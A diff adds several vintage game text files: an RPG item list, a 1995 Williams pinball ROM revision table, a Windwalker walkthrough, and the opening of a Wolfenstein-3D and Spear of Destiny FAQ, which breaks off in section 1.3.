+Flynn's Cap-4Special???, Missiles 30% +Mantis Boots -14 Special:+ dexterity +Forest Cape-3 +Ebony Plate -14 Fire 30%, Cold 30% +Mantis Gloves -14 Special:??? +Faerie Cap -4 +1 Regen, Special:??? +Mitre de Sanct -5 +Hi-Kane-Do -12 Fire 30% + + +WeaponsDamageHandsTypeSpecial Effects + +Raven's Bill 6-18 (+2) 2? P? Cursed, Regen -1 + POISON KIA +Hayai Bo 4-9 (+2) 2 P KO +Muramasa Blade 7-25 (+4) 1 P Special:??? + KIA +Ninjato 2-8 (+1) 1 P/S KIA +Wakizashi 1-6 1 P/S +Bec De Corbin 3-7 (+1) 1 P/S KO +Zizka Star 2-10 1 P KO +Monstrance 1-8 (-1) 2 P KO +Quaterstaff 1-5 2 P +Shock Rod 2-7 2 P DRAIN +Crusader's 2H Axe +1 6-18 (+1) 2 P +Mystic Arrow 8-20 (+3) SA PLYZE KIA +Shrike Arrow 4-7 (+2) SA KIA +Naginata 1-12 2 P +No-Dachi 2-14 2 P KIA +Staff Pro Paralysius 2-5 2 P PLYZE +The Avenger 7-28 (+3) 1 P KIA Lightning 5/8 +Walriblade 3-9 1 P +Bearded War Axe 1-5 1 P/S +Rod of Sprites 4-16 (+2) 1 P/S STONE +Coil of the Sepent 6-24 (+3) 1 P Cursed,Regen -1 + POISON +Vorpal Blade 4-14 (+1) 1 P POISON +Musket 1-24 1 P/SM KIA +Sword of 4 Winds 8-20 (+2) 2 P Cursed,DRAIN KIA + Axphyxiation(C) + Spec - Add Hit Points +Staff of 12 Stars 6-12 (+1) ? ? Cursed, Sleep (C?) + Magic Food (C) + Special:??? +Curx of Crossing 1-8 (-4) ? ? Cursed,KO +Bipennis 4-14 2 P +Bushido Blade 4-16 (+2) 1 P KIA +Wand of Winds 3-7 (+1) ? ? Whirlwind 4/6 +Staff of Charming 1-8 (+1) 1 P KO, Charm 4/4 +Holy Basher 5-12 (+1) 2 P KO +Ymmu's Paw 5-8 (+1) 1 P Cursed,Stone +Hunter Quarrel 7-16 (+1) SA KIA +Quarrel 3-9 SA KIA +Death Stars 7-15 (+1) 1 P/S POISON KIA +Shuriken 2-7 1 P/S KIA +War Sceptre 2-6 1 P/S KO +Winterwand 3-7(+1) 1 P/S PLYZE Iceball 4/5 +Poison Darts 4-8 1 P/S POISON +Vulcan Hammer 7-16(+2) 1 P KO Fireball 5/6 +Sword of Hearts 5-11 1 P KIA +Seige Arbalest +4 1 PM KIA +Lightning Bolt 10-30(+4) 1 SA KIA +Saint Bastard 7-13(+2) 1 P KO +Great Bow +4 1 P KIA +Staff of Blessing 1-8(+1) 2 P KO Bless 3/5 +Zatoichi Bo 9-24(+4) 2 P PLYZE KIA KO + Blinding Flash 6/59 +Faust Halberd 6-18(+2) 2 P Cursed, -3 Regen + Lifesteal 5/10 + PLYZE KIA +Estoc de Olivia 6-18(+3) ? ? KIA + Special:??? +Excaliber 8-36(+4) 2 P +1 Regen + STONE KIA + Lightning 6/12 +Staff of Doom 8-20(+4) 2 P Cursed, -1 Regen + Death Cloud 5/3 + PLYZE STONE KIA +Diamond Eyes 7-16(+2) 1 P/S Special: +Personality + PLYZE +Maenad's Lance 2-24(+3) 2 P KIA + Special:??? +Ta-li Stone 4-12 1 SA PLYZE, KO +Medusa Stone 8-20(+2) 1 SA STONE KO +Staff of Silence 2-5 1 P Silence 4/5 +Haunting Stick 3-7(+1) 1 P Spooks 3/5 +Staff Pro Undead 2-5(+1) ? ? Dispel Undead 3/3 +Dragon Slayer 6-15(+1) 2 P {And they call this a + dragon slayer???} +Cat O'Nine Tails 6-18(+3) 1 P +Balde Quisinart 6-18(+2) 1 P KIA +Maiden's Head 1-16(+2) 1 P KO Charm 5/8 +Pandora's Wand 3-7(+1) 1 ? SLEEP PLYZE POISON STNE + DRAIN KIA + Dazzling Lights 4/4 +Elven Bow +6 1 PM Special: +speed + +1 Regen + KIA +Rod of Sprites 4-16(+2) 1 P/S STONE +Axe of Many Runes 4-14(-8) 1 P/S Cursed, -1 Regen +Sword of Fire 2-16(+2) 1 P/S Fireball 4/7 +Crystal Wand 1-2(+1) 1 P/S Wizard's Eye 3/4 +Blade of Aegin 2-24(+2) 2 P KIA KO Iceball 5/10 + + +Sticks Damage Special Effects + +(These are powers that sticks display when used, NOT THROWN!) +(A great way to increase your artifact skill, cheaply!) + +Rocket Sticks 5-40 Magic Missiles +Icicle Sticks2-12Chilling Touch +Sparkle Sticks1-8Energy Blast +Cracker Sticks 2-16 Energy Blast + + +AmuletsSpecial EffectChargesACSpecial Resistance + +Amulet of IIlusionsMagic ScreenYesMagic 30% +Amulet of Spiders Web 4/9 Paralysis 10% +Amulet of LifeResurrectionYes +Amulet Pro MagicMagic ScreenYes-1Magic 30% +Amulet of Illusions Illusions Yes +Amulet of Stillness Paralyze 5/7 Paralysis 10% +Amulet of Healing Healthfull Yes Cursed,+2 Regen + Special:??? +Amulet of AirsPurify Air4/4Air 10% +Amulet of RainbowPrismic Missile4/7Light 30% + + + Special +Rings AC Effects Charges Special Resistance + +Ring of Shielding-1 +Ring of Stars -4 Hypnosis 50% + Psionics 50% +Ring of TruthSane MindYesPsionic 10% +Ring of Demons -4 Cursed + Conjuration Yes +-1 Regen + Special: -karma +Ring of Invisibiity -4 Cursed Missiles 20%, Death 10% + Invisibility 6/40 + Special:??? +Mystic RingMindreadYesPsionics 10% +Ring Pro MagicMagic 40% +Ring of Resounding Shrill Sound 3/6 + + +BooksSpell + +(Most books can be used several times to cast spells. These are just +indicating what spell gets place in your spellbook when scribed) + +Book of Barriers Missile Shield +Book of DetectionDetect Secret +Book of DirectionDirection +Book of FirewallsFireshields +Book of DemonsConjuration +Book of HasteHaste +Book of ImmortalsAnti-Magic +Book of RestingStamina +Book of SeeingWizards Eye +Book of RelicsIdentify 6/3 + Special: + to artifact skill +Book of BanishingAstral Gate + + +ReagentsSpecial Resistance + +Mana RootAir 20% +Aromatic SaltsParalysis 20% +Brimstone NuggetsFire 20% +Deadman's HairHypnosis 20% +Skull BonesPoison 20% +Dragon's TeethMagic 30% +Lion's ClawsMissiles 30% +Rock Crystal Psionics 20% +Bag of DeathCursed, Regen -2 Death Cloud 4/3 +Ju-Ju StonesLifeforce 30% +Bag of TricksDazzling Lights 3/4 + + +Miscellaneous ItemsACSpecial EffectsChargesSpecial Resistance + +Cloak of Fortune -2 +1 to Karma LifeForce 10% +Mana Stone +Ank of Might-1+1 to Strength +Cornu of Demon SpawnAstra GateNo +Silver Cross-1 +Milk of MagmanasiaMagic FoodYes +ManaStoneMagic FoodYes +Bottle of Old Jake'sMagicFood 4/2 +Scarab Necklace Cursed Psionics 20%, Hynosis 20% + Special:??? +Cross of Turning Dispel Undead 3/7 Lifeforce 20% +Knock PicksKnock-Knock6/3 +Valentine Necklace-1+PersonalityDeath 10% +PK Crystal-4Psionic Blast 4/7Psionics 50% ++1 Regen +Helazoid Pendant PS - Eagle Eye Light 50% +Stone Pro AirAir 50% +Displacer Cloak-4Blink2/10 +Bat NecklaceLight 50% +Emerald Talisman -2 Special:??? Death 30% + + +PotionsSpellsColour + +FirebombFireStormRed +Stink BombNoxious FumesGreen +Acid BombAcid BombGreen +Cure Lt CndCure Lt CndYellow +Cure PoisonCure PoisonPurple +Cure DiseaseCure DiseaseYellow +Lt. Heal Head Wounds Blue +Mod. HealHeal WoundsBlue +Hv. HealHeal WoundsBlue + + +Spell +PowdersSpellLevel + +Talk of Tamaris Blink +Powder of CreationCreate Life4/3 +Flash PowderBlinding Flash +Crushed WidowsDeadly Poison +Skeleton powderDeath +Bone Dust Weaken + + +InstrumentsSpell + +Poet's Lyre Sleep +Angel's TongueBless +Chromatic LyreItching Skin +Horn of PrometheusFireball +Silent LyreSilence +Siren's WailConfusion + + +Anks Power + +Ank of Might Special:+Strength, -1 AC +Ank of Youth Special:+Vitality until 18 then -1 off of age, +Ank of Dexterity Special:+Dexterity +Ank of Life Special: ??? - Full Heal? +Resurrection 6/2 +Lifeforce 50% +-1 AC +Ank of Healing+1 Regen, Heal Wounds 6/9 +Ank of Sanctity Special: +Piety, -1 AC +Ank of Speed Special: +Dexterity, -1 AC + + + + +You might also add in the description about the items that regeneration +items are not additive. There is no difference between using 1 item +of +1 regen. and 3 items of +1 regen. and 2 +1 regen. items do not balance +out one -2 regen. item. It merely takes the highest + regen number and +the "highest" - regen number, adds them and that's your effective regeneration. +This allowed me to give my mage the amulet of healing (+2 regen.) and +the black robes of death (-2 regen.) and the serpent coil (-1 regen.) or +the staff of doom (-1 regen.) and he would neither gain nor lose hit points +over time. + +ps. Maenid's Lance gives +1 regen. as well... + + + +8. Credits + +This FAQ was originally made by James Gardner but has been adopted +and converted to www by Anders Johansson + +The itemlist was made by Eric Schnurr. + +Thanks for all of you who have helped with this, but especially James +and Eric. + + And lets be careful out there. + + Anders + +---------------------- LOG -------------------------------- +941117 Added the log part. +941117 Added the patch cdspatch.zip +941130 avatarx (ftp-site) changed adress. +950114 Added ds.zip patch for pentium ? diff --git a/textfiles.com/games/wmsromre b/textfiles.com/games/wmsromre new file mode 100644 index 00000000..5e9931d0 --- /dev/null +++ b/textfiles.com/games/wmsromre @@ -0,0 +1,88 @@ +From: musjndx@gsusgi2.gsu.edu (Jonathan N. Deitch) +Subject: Williams ROM Revisions (Updated as of PAPA-5) +Date: 6 Feb 1995 21:05:28 -0500 + +Game # Game Name CPU Sound Music/Speech CPU Type +----------------------------------------------------------------------- + 523 Grand Lizard 4 1 1 11 + 532 Sorcerer 1 1 2 9 + 535 Space Shuttle 7 3 1 & 2 9 + 540 Comet 4 1 1 9 + 541 High Speed 4 2 1 11 + 542 Road Kings 2 1 1 11 + 549 Pinbot 3 1 1 11A + 552 Space Station 5 1 1 11B + 553 Taxi 4 1 1 11B + 554 F-14 Tomcat 1 1 1 11A + 555 Millionaire 3 1 1 11A + 556 Fire! 2 1 1 11A + 557 Big Guns 8/A 1 1 11A/11B + 559 Swords of Fury 2 1 1 11B + 563 Black Knight 2000 4 1 2 11B + 564 Cyclone 5 1 1 11B + 566 Banzai Run 3 1 1 11B + 567 JokerZ 6 1 2 11B + 568 Earthshaker 3 1 1 11B + 571 Diner 4 1 11C + 573 Police Force 4 1 2(U4)/1(U19,20) 11B + 574 Whirlwind 3 1 1 11B + 575 Bad Cats 5 1 1 11B + 576 Roller Games 2 3 11C + +1916 Strike Zone 6 1 9 +1918 Alley Cats 7 1 11 +1919 Tic Tac Strike 2 1 11A +1920 Gold Mine 3 1 11B +1921 Top Dawg 1 1 11B +1922 Shuffle Inn 2 1 11B + +2001 Truck Stop 2 1 6803 +2003 Game Show 4 1 2(U4)/1(U19,20) 11C +2006 Atlantis 3 1 6803 +2008 Transporter 3 1 1 11B +2009 Mousin' Around 4 1 1 11B +2011 Elvira 4 1 1 11B +2014 Pool Sharks 7 2 11C +2015 Radical! 1 1 11C +2016 Dr. Dude 2 1 11C +2016 Dr. Dude P-8 1 WPC + +10001 Shuffle Inn Deluxe 2 1 11B +10002 Strike Master 4 1 WPC +10005 Strike Master Jr. 4 1 WPC + +20001 Harley Davidson 3 1 WPC +20003 Gilligan's Island 8 1 WPC +20004 Party Zone 3 (F-4) 1 WPC +20006 Doctor Who 2 1 WPC +20009 Bugs Bunny B'day Bash 2 1 WPC +20013 Black Rose 4 1 WPC +20017 The Addams Family 5 1 WPC +20018 Creature/Black Lagoon 4 1 WPC +20020 Judge Dredd 7 3 WPC + +50001 Dracula 1 1 WPC +50002 The Machine 7 1 WPC +50003 Funhouse 9 2 WPC +50004 HSII : The Getaway 5 1 WPC +50005 Fish Tales 5 1 WPC +50007 Riverboat Gambler 3 2(U4)/1(U19,20) 11C +50012 Hurricane 2 1 WPC +50013 Terminator 2 8 3 WPC +50017 Indiana Jones 7 3 WPC (DCS) +50018 White Water 5 1 WPC +50020 Twilight Zone 9 (H-8) 2 WPC +50022 Popeye 5 1 WPC (DCS) +50023 Star Trek TNG 7 1 WPC (DCS) +50024 Road Show 4 2 WPC-2 (DCS) +50028 Demolition Man 4 1 WPC (DCS) +50029 Flintstones 5 1 WPC-2 (DCS) +50030 Dirty Harry 2 1 WPC-2 (DCS) +50031 World Cup USA '94 3 1 WPC-2 (DCS) +50032 The Shadow 2 1 WPC-2 (DCS) +50036 Corvette 2 1 WPC-2 (DCS) +50038 The Addams Family Gold 3 1 WPC + +60001 Slugfest 1 1 WPC +60017 Hotshots 1 1 WPC + diff --git a/textfiles.com/games/wndwalkr.sol b/textfiles.com/games/wndwalkr.sol new file mode 100644 index 00000000..935a5f3a --- /dev/null +++ b/textfiles.com/games/wndwalkr.sol @@ -0,0 +1,230 @@ + Since this documentation is a "how to win" guide for Windwalker, so if +you want to enjoy this game to the fullest extent, you should really stop +reading this. However all you want is the fighting actions and to see the end +fast, or just getting stuck, this will definitely help. + +The first thing you should do in windwalker is training, get yourself familiar +with the various moves [especially the ranges and recover time (ie. time to +recover from the attack movement) of all the attack forms that you have] and +the enemies of course. + + +This is a pseudo map of the realm: (realtive position only) + + + retired + assasin house thief hide isle of Death + out + + Medicine Man + House + Imperial Palace + 2nd shrine + + 2nd village + + + Monastary + + + 1st shrine explorer's + home + 1st village + + + + Medicine man + house + + +Section 1: ( getting started ) + +After "vigorous" training, you can venture forth into the "Real World", the +first thing you should do is to find some thiefs or assasin and kill them for +money and food. Use the money to buy incense, food ( if necessary ). Then +go to the shrine to the north of the village(1st village) and talk to the +monk about incense, he will blessed your incense. Then read the scroll in the +holy shrine. This scroll will tell you how to use the incense. + +Note : + +1. When you burn the incense, you will be prompted for the "prayer" to chant +these prayers are recorded in the scroll in the shrine. +They are : + + Heal my Body, Restore my Honor, Empower my spirit, Exorcise(fireball) + +their function are self explanatory, and they required blessed incense. + +2. If you are having trouble beating up the thief and assasin, here is an easy +way to "go about it". First, when you see an enemy and then save the game, +after you engage him, and the combat isn't going your way, press and run +away. This will get you back to the "overhead" screen. Choose recall game and +do the fight again until you win. + +3. You will see a blind man in front of the store, give him the money he asked +you and ask him about his shoe, buy this shoe, it will come in use later. + +Section 2: (after you feel ready to leave the 1st village, ie. you can take on + tougher foes.) + +Get a boat near the shore and sail east of the holy shrine(1st shrine) until +you find the island with a house on it, this is the explorer's house. Go +inside and get the map in the cabinet, this is the best map available in the +game.(you will also find a scroll that is a clue to solve the game but it's +not important because you have me). After that go to the monastary(mark as +a walled circular building in the explorer map). Speak to the older monk +inside, he will ask you if you want to join their brotherhood. You will +of course join them ( because they will give you the Staff and Robe ). + +Note. + +1. In order to join the monks, you 'll have to follow the way of life for one + day and observer the vow of silence. This mean following the older monk + the whole day. After that you are tested in combat against yourself, if + you win, you will get the staff and robe + +2. There are scrolls on the second story of the monastary, the one about + Nubia is essential in winning the game. But read them all anyway. + +3. If you happen to see another boat in the sea hail it. If it is the fisher- + man, ask him about buying supplies and buy 4 striped turtle shells. + (the shell is about 10 bucks each) + +4. If you happen to pass an island where the Heron bird is resting (standing) + on, disembark and run into the Heron, this will gives you some heron feath- + ers. + +Section 3: ( getting magical talisman ) + + There are four magical talisman in this game, each one requires a +special item and a striped turtle shell for the Shaman ( living in a cave +on the Northwest corner of the Isle of Dead. [approach the island from +the northwest corner] ) to make. Here are the list and where to find them + +Talisman Items required Comments + (beside the shell) + +Invisibility Blind man's shoe buy it from the blind man. + Mantra is : unseen presence + + WaterWalk water beetle manibles While invisible attack a Water beetle + The beetles can be found in water in + the Isle of Dead or a cavern Northeast + of the Imperial Palace. + Mantra is : the solid path + +Invulenbility Sea dragon's scale While invisible and water walking, at- + tack a sea dragon. The dragons can be + found in the water of the Isle of Dead + Mantra is : the armored one + +Levitation Heron's feather Heron's feather + Mantra is : on the wing + +After obtaining the require item and a striped turtle, go to the shaman and +ask him about "things" and then the name of the talisman. + +Note. while on the Isle of Dead, and it happens to be full moon, go to the + cavern which is just southwest of the Shaman's cave where the tree of + Immortality grows, there the normal Panda guarding the tree will reveal + his true form as the God of Luck, he will give you the peach seed that + is required to win the game. + + After you get the Invulenbility talisman, you have pretty much finished + the game, because when you use it, you won't take damage from any + combat and the talisman only drain your spirit at a slow rate and the + money from the defeated foes can be use to purchase incense by the + truck load and replenish your loss spirit. You can literally start a + massacre of the Warlord's allies. + + +Section 4: (knocking off your arch-enemies , the warlord and the alchemist) + +Once you have the invulenbility talisman, walk into the palace with your monk +robe on. Go to the building in the back. March up (kill any foolish guards who +happened to be in your way (or maybe you just hate his face)) the stairs and +meet the warlord. With the talisman, this should be no problem. + +On any night of a new moon ( preferably the 1st night), go inside the palace +(this can be done before obtaining the talisman but you should had the monk +robe on to pass through the guards at the front door, unless you go inside the +palace from the secret entrance from the cave where the water beetles are), go +to the building in the lower right corner. Copy the scroll on the table and +go upstairs to the astral gate ( you 'll see the alchemist waiting outside the +gate doing absolutely nothing.) wait until it is midnight ( you can actually +sleep there), when the alchemist go in the astral gate, cast an "exorcise" +(fireball) at the gate. (this will sealed up the gate and trap the alchemist +within. After that you will have to go back to the two shrines and save it +from the spirit the Alchemist brought from the Astral Plane. All you have to +do is cast an "exorcise"(fireball) at the pocessed priest(monk) in the shrine + +Note. Be careful while casting the exorcise, it takes a lot of spirit. You + need a full spirit to cast it. + +Section 5: ( to save the emperor ) +Assuming you have kicked the Warlord and the Alchemist, you 'll have to save +the Empreror who is now imprisoned and drugged. You 'll have to make an +antidote to free the emperor from the "Fu Ma Ren" drug. You 'll have to +get a copy of the Alchemist scroll to the medicine man in the SW corner of +the realm and he will informed you that he has no knowledge of making the +antidote and refer you to the 2nd medicine man hiding in the cave just NE of +the Imperial Palace and give you a letter of introduction. Go to this 2nd +medicine man and he 'll give you a key (which open the cabinet in his house) +and ask you to fetch a copy of the scroll found in the cabinet. This scroll +will tell you the 5 ingredients needed for the antidote. They are: + +Rhino horn - in the Warlord's cabinet in his room ( get the keys from the + concubines) + +Jasimine flower - From the Nubian Princess living in the bottom left corner + of the Warlord's house ( back building in the Palace ) + The Princess doesn't speak English, so when you are talk- + ing to her, first say "Salah"(hello), then "dohnteh"(tea) + and then "pluumfir"(flower the Jasmine flower) + +Seed from the tree of Immortality - from The Isle of Death ( see above + +Gold - given by the explorer when you go to rescue him in the Thief's hideout + +Jade - found underneath the throne in the throne room ( central building in + palace ) + + +Once you have all five of these ingredients, go back to the cave with a copy +of the scroll from the 2nd medicine man's cabinet. The second medicine man +will then leave the cave and go back to his house to make the antidote, +follow him to his place and wait until he is finished to the Antidote. +Once you have the antidote, go to the jail ( SW corner of Palace, and use +invisibility to avoid the Jailer ). Go to the 3rd cell ( counting from +left to right ) and open the door with the key the Warlord had dropped +when he fled. There you will see the emperor and once you give him the +antidote and he 'll recover and Moebiuse will elevate you to the level +of "Windwalker" and End game + + +PS : + There is a lot of interesting feature in Windwalker, for example +if you talk to the Nubian Princess while she is bathing, your honor will +got deducted, and you can actually go through the Astral gate into the +Astral Plane, etc... Try them out, it's fun + + If anyone of you manage to explore the entire Astral Plane, tell +me about it. + + I have included my own savegame in this solution for those who just want to +see the ending, all you have to do is load it and talk to the emperor and give +hime the antidote. The filename is end.zip ( character name is Crusader ) + +PPS : + + Here are the titles of different levels in the doc. check in level +advancement: + +mongoose, badger, boar, wolf, lion, bear +barracude, manta, octopus, shark, dolphin, whale +raven, owl, heron, falcon, condor, phoenix +viper, cobra, crocodile, python, hydra, dragon +Windwalker + + diff --git a/textfiles.com/games/wolf3d.txt b/textfiles.com/games/wolf3d.txt new file mode 100644 index 00000000..a86f22f1 --- /dev/null +++ b/textfiles.com/games/wolf3d.txt @@ -0,0 +1,2709 @@ +(Previous maintainer: Stanley Stasiak. + + +THE DISCLAIMER: +#include + +=============================================================================== + WOLFENSTEIN-3D and SPEAR of DESTINY + FREQUENTLY ASKED QUESTIONS. + by + Adam Williamson + (adam@scss.demon.co.uk) + [Version 4.15] + Last Revised on: Thursday 15 1994 18:37 GMT (Greenwich Mean Time) + +******************************************************************************** +Note: 1) From here onwards 'Wolfenstein-3D' will be referred to as + 'Wolfenstein' or 'Wolf3D', and 'Spear of Destiny' will be referred + to as 'Spear' or 'SoD', to avoid verbosity. Information about + Wolfenstein applies to Spear as well, unless differences are noted. + 2) All specific names included herein are trademarks and are so + acknowledged: iD, Apogee, FormGen, Wolfenstein-3D, Spear of Destiny, + PkWare, PkUnzip, SoundBlaster, etc. (forgive if any missed out) +******************************************************************************** + + TABLE OF CONTENTS + +0.0 About the FAQ. + 0.1 The Copyright Notice. + 0.2 Foreword. + 0.3 Id, Apogee vs the FAQ. + 0.4 How can the Wolfenstein FAQ author be contacted? + 0.5 How can I obtain the most recent version of the Wolfenstein FAQ? + 0.6 The NEW INFO coding system within the FAQ. + 0.7 Wolfenstein & SoD related files availability via FTP. + +1.0 The Wolfenstein Novice Questions (The bunch that new users usually ask). + 1.1 What are Wolfenstein-3D and Spear of Destiny? + 1.2 What are the requirements to run Wolfenstein? + 1.3 Where can I get Wolfenstein from? + 1.4 How do I unpack shareware Wolfenstein? + 1.5 How do I install it to HD? + 1.6 Can I play Wolfenstein from a floppy disk? + 1.7 What's with the game version numbers? + 1.8 Are there map/graphics editors available, and where? + What are they? And which files do they change? + 1.9 Are there different sets of ready made Wolfenstein maps/graphics files, + and where? + 1.10 How can I CHEAT in Wolfenstein? + 1.11 How can I contact iD Software? + 1.12 I think I found an error in the FAQ. + 1.13 Is Wolfenstein available on any other platform than an IBM compatible? + 1.14 Where can I find version x.y of Wolfenstein? + 1.15 Where did iD get the inspiration for Wolfenstein? + +2.0 Specific questions about the game. + 2.1 What do all those guards say in game? (for those with SoundBlaster + or compatible) + 2.16 How many hits do all those enemies take? + 2.17 What weapons do all those enemies carry? + 2.2 What's the difference between the difficulty levels of the game? + 2.3 What are the secret rooms/doors in the game? How can I find one? + 2.4 What are secret levels in Wolfenstein? How can I find one? + 2.5 What is that funny object/sprite in the game? + 2.6 What is the purpose of the codes listed at the end of game stats? + 2.7 Are there ghosts in Wolfenstein? If so where? Can I kill them? + 2.8 What do other objects apart from ammo, food, etc. do? + 2.9 I've heard you can drink blood in Wolfenstein? Is that true? How? + 2.10 What is 'Death Cam'? How is it activated? + 2.11 What is the Jukebox feature of Wolfenstein? How is it accessed? + 2.12 What are those music tunes in Wolfenstein? + 2.13 What is that Morse code message in Wolfenstein? + 2.14 Are there any more cheats/hints available? + 2.15 The Statistics & Records Section (Numbers about the game). + +3.0 The FLAMING Section. (You're annoyed with Wolfenstein because...) + 3.1 It crashes. + 3.2 The sounds are all screwed. + 3.3 You are left with a gun and 8 bullets after you die. + 3.4 It's too hard. + 3.5 It's too easy. + 3.6 You keep running into the walls and missing the doors. + 3.7 You are feeling dizzy while you play it. + 3.8 It never gives you 100% stats at the end of level/game. + 3.9 You always run out of ammo/health. + 3.10 You can never find any secret rooms. + 3.11 You can never find a secret level. + 3.12 You always get nuked by that big bad boss (guard) at the end. + (The strategies for defeating the bosses). + +4.0 Map/Graphics Editors Section (If you're messing around with map/graphics + files then this section is for you). + 4.1 Discussion of available map/graphics editors. + 4.2 Rules to follow when editing. + 4.3 Common editing errors (What not to do and what they'll produce). + 4.4 Map/Graphics files version conversion. + 4.5 Editors compatibility with the game and each other. + 4.6 How to make a hardcopy (printout) of the maps. + +5.0 Wolfenstein Add-On Section. + (Discussion of extra levels/graphics you can get) + 5.1 Extra levels. + 5.2 Extra graphics. + 5.3 Other Add-ons & Utilities. + +6.0 Wolfenstein Bugs & Problems (known to date), + and how to fix or get around them. + 6.1 Hardware problems. + 6.2 Software problems. + 6.3 Game specific problems. + +7.0 Wolfenstein Spin-offs. + 7.01 Catacomb Abyss. + 7.02 Blake Stone 3D. + 7.03 Doom. + 7.04 Ken's Labyrinth. + 7.05 Hugo's Nitemare 3D. + 7.06 Doom 2. + 7.07 Terminator: Rampage. + 7.08 Corridor 7. + 7.09 The Fortress Of Dr. Radiaki. + 7.10 Operation Bodycount. + 7.11 Rise Of The Triad. + 7.12 Heretic. + 7.13 Duke Nukem 3: 3D. + 7.14 Shadow Warrior 3D. + 7.15 Ruins 3D. + 7.16 Quake. + +8.0 Acknowledgements. + +9.0 Revision History. + +10.0 Future Additions To The FAQ. + +END OF TABLE OF CONTENTS +------------------------------------------------------------------------------- + +0.0 ABOUT THE FAQ. + +0.1 THE COPYRIGHT NOTICE. + +******************************************************************************* +I hereby grant the right to anyone who wishes to freely reproduce +WOLFENSTEIN-3D and SPEAR of DESTINY FAQ in part or in full in any electronic +or written form provided that the author as well as the acknowledged people +(Section 8.0) are given due credit. + +Adam Williamson +- new maintainer of Wolfenstein-3D and Spear of Destiny FAQ + +Date: Nov 11th, 1993. +******************************************************************************* + +0.2 FOREWORD. + +Ok, It's been a couple of years now since the first release of this FAQ. +Wolfenstein-3d has been out and available as shareware for over 3 years. +Originally I wrote the FAQ to stem the very large number of posts and questions +on Usenet's comp.sys.ibm.pc.games about this game. +I must say that I think I've been successful in conserving some bandwidth by +provision of this regular (most of the time) article. + This FAQ will be availible on the Games Domain WWW site +(http://wcl-rs.bham.ac.uk /GamesDomain) and FTP site (wcl-rs.bham.ac.uk) and +will be posted whenever I remember (about every month) to the Internet +usegroups comp.sys.ibm.pc.games.action and alt.games.apogee. + + +I would like to thank all of the contributors to this FAQ. + +0.3 Id, APOGEE VS THE FAQ. + +Now hear this! +Apogee and iD Software have nothing to do with this FAQ. +They do not give me support with it (not counting some e-mail thanks from +J. Wilbur at iD Software). +This is NOT an official publication of either iD Software or Apogee. +The information contained within this article is provided 'as is' as I collect +it from various Usenet sources. +I do make an effort to check whether the information is correct at the time of +the post, but as usual no guarantees are provided. + +0.4 HOW CAN THE WOLFENSTEIN FAQ AUTHOR BE CONTACTED? + +I can be contacted via Internet e-mail at the following address: +adam@scss.demon.co.uk. + +0.5 HOW CAN I OBTAIN THE MOST RECENT VERSION OF THE WOLFENSTEIN FAQ? + +1) Drop me an e-mail (--> See Section 0.4). +OR +2) Get it from the FTP site wcl-rs.bham.ac.uk. +OR +3) This article is also reposted about every month on +comp.sys.ibm.pc.games.action. +OR +4) Read it on the WWW site http://wcl-rs.bham.ac.uk /GamesDomain. + +0.6 WOLFENSTEIN & SOD RELATED FILES AVAILABILITY VIA FTP. + +Throughout this FAQ I'll be refering to some Wolfenstein related files. +These can be obtained through Internet FTP archives. +ftp.cc.umanitoba.ca [130.179.16.24] +directory: +/pub/wolf3d +is the official wolf3d site. + +****** <<<<<< (will be referred to as 'MANITOBA' from now on) >>>>>> ****** + +I will not include any information on wolf3d related files unless they make +their way to one of these sites. (Nope, wuarchive.wustl.edu won't do Sorry!) +If you don't know how to get them there or don't want to do it yourself +or don't have ftp access then send them to me. I'll be happy to upload them +for you. + + +1.0 THE WOLFENSTEIN NOVICE QUESTIONS. +=============================================================================== + +1.1 WHAT ARE WOLFENSTEIN AND SPEAR OF DESTINY ? + +Wolfenstein-3D is a 3-dimensional action game from iD Software. +(distributed as shareware by Apogee). Spear of Destiny is the commercial +sequel of the same game that includes some enhanced graphics. + +OBJECTIVE: Survival/Exploration + +TYPE: Action + +VIEW: First person 3-dimensional perspective. + +FEATURES: Smooth scrolling gameplay and character animation. + Full 360 degrees view sweep at any angle. + VGA graphics (320x200x256), SB/SB-Pro/Adlib/Sound Src support + Mouse/Joystick/Gravis pad/Keyboard interface. + +DIFFICULTY LEVELS: 4 + +VIOLENCE RATING: PC-13 (profound carnage - analogous to the movies' PG-13) + +COMMENTS: Impacts visually. Highly addictive. Slighty violent. + +STORY LINE: In Wolf3D: Basically you're a WWII allied spy imprisoned in Germany + and you're trying to escape (full story included with the game). + In SoD: Capture the Spear of Destiny from a Nazi stronghold. + +AVAILABILITY: First part of Wolf3D is shareware. Extra parts can be ordered + from the distributor (more later). For Spear there is a 2-level + demo version and the full version can be obtained at your local + software store. There are now SoD: Missions 2+3 availible as well. + +STAGES: Wolf3D: 6 episodes (parts) each containing 10 levels. + The shareware version only contains episode 1. + The registered version (pay $$) contains either 3 or 6 episodes. + Altogether there are 10, 30 & 60 levels in the shareware and + two registered versions. + SoD: 1 set with 21 levels of pulse-pounding action. + The demo version only contains the first 2 levels. + The registered version (pay $$) contains the full 21 levels. + +WARNING: Some people have reported being sick after playing or watching + others play (a kind of motion sickness if you like). --> See 3.7 + +1.2 WHAT ARE THE REQUIREMENTS TO RUN WOLFENSTEIN? + +HARDWARE REQUIREMENTS: + Processor: 80286 or better (Nope won't run on XT). + Graphics: 256Kb VGA or better. + Memory: 580Kb Conventional. Also supports EMS, XMS. + If EMS/XMS are available the game will use them to preload + some of the graphics data. + Hard Disk: Wolf3D: Approx. 1.38Mb (Shareware version) + Approx. 2.40Mb (Full 6 episodes version) + SoD : Approx. 1.24Mb (Demo version) + Approx. 3.06Mb (Full 21 levels version) + (Support SB, SBPro, Adlib) + +OPERATING SYSTEM & COMPRESSION UTILITY COMPATIBILITY +----------------------------------------------------------------------- +DOS : 5.0, 6.0 (should be downward compatible to 3.3 but wasn't tested) +Other OS's : OS/2, + Windows: (Note if you've got a SB device driver + installed under Windows or a Windows TSR + like an hour chime running it may interfere + with some of Wolfenstein's digitized sounds) + Running WOLF3d/SoD under Windows isn't really recommended. + Windows NT: unknown. (anyone?) + DR-DOS 6.0 + +Compatible with: Stacker: Yes (2.0 & 3.0) + Superstor: Yes + DOS 6.0's Double Space: Yes + +1.3 WHERE CAN I GET WOLFENSTEIN FROM? + +You can ftp Wolf3D game from MANITOBA, locating it in /pub/wolf3d . +It is archived as a PkWare's ZIP file (wolf3d14.zip). +You can also ftp it from UWP. Look in /pub/msdos/games/id (file 1wolf14.zip). +(Note: ziped with PkZip v2.04g) +You must have PkWare's PkUnzip software to unzip the .zip file. +(You can obtain the pkzip/unzip software from garbo.uwasa.fi /pc/arcers + filename = pkz204g.exe) +The archive size is approximately 750Kb. 